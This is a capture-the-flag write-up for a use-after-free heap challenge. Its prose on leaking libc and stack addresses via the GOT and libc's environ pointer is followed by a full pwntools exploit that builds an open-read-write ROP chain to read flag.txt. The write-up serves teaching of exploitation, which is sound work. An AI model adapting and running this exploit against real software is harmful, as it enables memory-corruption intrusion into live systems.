Tags: environ_ptr rop
Rating:
The challenge is a simple use-after-free, but with a few mitigations to make exploitation harder.
Because the challenge uses a struct with a char *
, players can easily turn the use-after-free into an arbitrary read and write without specialized heap voodoo. PIE is disabled because I'm nice.
The challenge has several mitigations.
__free_hook
and __malloc_hook
flagsexecve
syscall. So both calling a one-gadget and calling system("/bin/sh")
are off the table.As the challenge name indicates, you are supposed to ROP your way to the flag, using an open-read-write ROP chain. So now the question is -- how can you turn your arbitrary read/write into a ROP chain? First, you'll need to leak a stack address.
A nice description of how to leverage arbitrary reads in the binary/libc/heap/stack to determine the location of everything else can be found in this blog post. Note: these techniques were also heavily featured in the breach
and containment
challenges!
The crucial section is that libc
contains an environ
pointer which points to a location on the stack.
The sequence is:
Some teams had solutions which worked locally but not on remote. Some common fixed to these problems were:
puts()
to print the flag*environ
and the saved return address is correct on remote (should be -0x140
). This has some slight variation depending on your configuration, but it's not hard to brute-force and check whether you're correct.bss
as temporary storage instead of the heap. For whatever reason, exploits which tried to read the contents of flag.txt
onto the heap were unreliableflag.txt
in read-only mode. The redpwn jail we were using didn't support writing to diskexit(0)
syscall, which has the side-effect of flushing stdoutMy exploit is the following
from pwn import *
def split_before(s, t):
i = s.index(t)
return s[:i]
def split_after(s, t):
i = s.index(t)
return s[len(t) + i:]
#################################################
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.binary = "./run"
host = args.HOST or 'localhost'
port = args.PORT or 31245
if args.LOCAL:
r = process("./run", env = {'LD_PRELOAD' : './libc.so.6'})
else:
r = remote(host, port)
binary = ELF("./run")
libc = ELF("./libc.so.6")
malloc_libc_OFFSET = libc.symbols["malloc"]
free_libc_OFFSET = libc.symbols["free"]
#################################################
def xfree(idx):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"F")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
def xread(idx):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"R")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
def xwrite(idx, value=b""):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"W")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
print(r.recvuntil(b"enter your string: ").decode())
r.sendline(value)
def xcreate(idx, length, value=b""):
print(r.recvuntil(b"enter your command: ").decode())
r.sendline(b"C")
print(r.recvuntil(b"enter your index: ").decode())
r.sendline("{}".format(idx).encode())
print(r.recvuntil(b"How long is your safe_string: ").decode())
r.sendline("{}".format(length).encode())
print(r.recvuntil(b"enter your string: ").decode())
r.sendline(value)
#################################################
xcreate(0, 128)
xcreate(1, 128)
xfree(0)
xfree(1)
got_free_addr = binary.symbols['got.free']
payload = p64(8) + p64(got_free_addr)
xcreate(2, 16, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
free_addr = u64(s)
libc_base_addr = free_addr - free_libc_OFFSET
# -------------------------------------------------
got_malloc_addr = binary.symbols['got.malloc']
payload = p64(8) + p64(got_malloc_addr)
xwrite(2, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
malloc_addr = u64(s)
assert malloc_libc_OFFSET - free_libc_OFFSET == malloc_addr - free_addr
# -------------------------------------------------
libc_environ_addr = libc_base_addr + libc.symbols["environ"]
payload = p64(8) + p64(libc_environ_addr)
xwrite(2, payload)
xread(0)
print(r.recvuntil(b"hex-encoded bytes\n").decode())
s = r.readline()
s = s.decode()
s = s.replace(" ", "")
s = bytes.fromhex(s)
environ_addr = u64(s)
print(hex(libc_environ_addr))
print(hex(environ_addr))
# -------------------------------------------------
libc.address = libc_base_addr
rop = ROP(libc)
# find offset with gdb, might need some brute-force for remote
rip_addr = environ_addr - 0x140
# new file descriptor, totally brute-forcible
fd = 3
# pointer to filename = "flag.txt"
dst_filename = binary.bss(400)
mov_rcx_rdx_addr = libc_base_addr + 0x0016c020 # 2.34
mov_rcx_rdx = p64(mov_rcx_rdx_addr)
print(disasm(libc.read(mov_rcx_rdx_addr, 4)))
rop(rcx=dst_filename, rdx=u64(b"flag.txt"))
rop.raw(mov_rcx_rdx)
rop(rcx=dst_filename + 8, rdx=0)
rop.raw(mov_rcx_rdx)
# sanity checks
rop.puts(dst_filename)
rop.write(1, dst_filename, 16, 1)
rop.open(dst_filename, 0)
rop.read(fd, dst_filename, 128)
rop.write(1, dst_filename, 128)
rop.exit(0)
# -------------------------------------------------
real_payload = rop.chain()
payload = p64(len(real_payload)) + p64(rip_addr)
xwrite(2, payload)
xwrite(0, real_payload)
# gdb.attach(r)
r.sendline(b"E0")
sleep(0.1)
print(r.recv())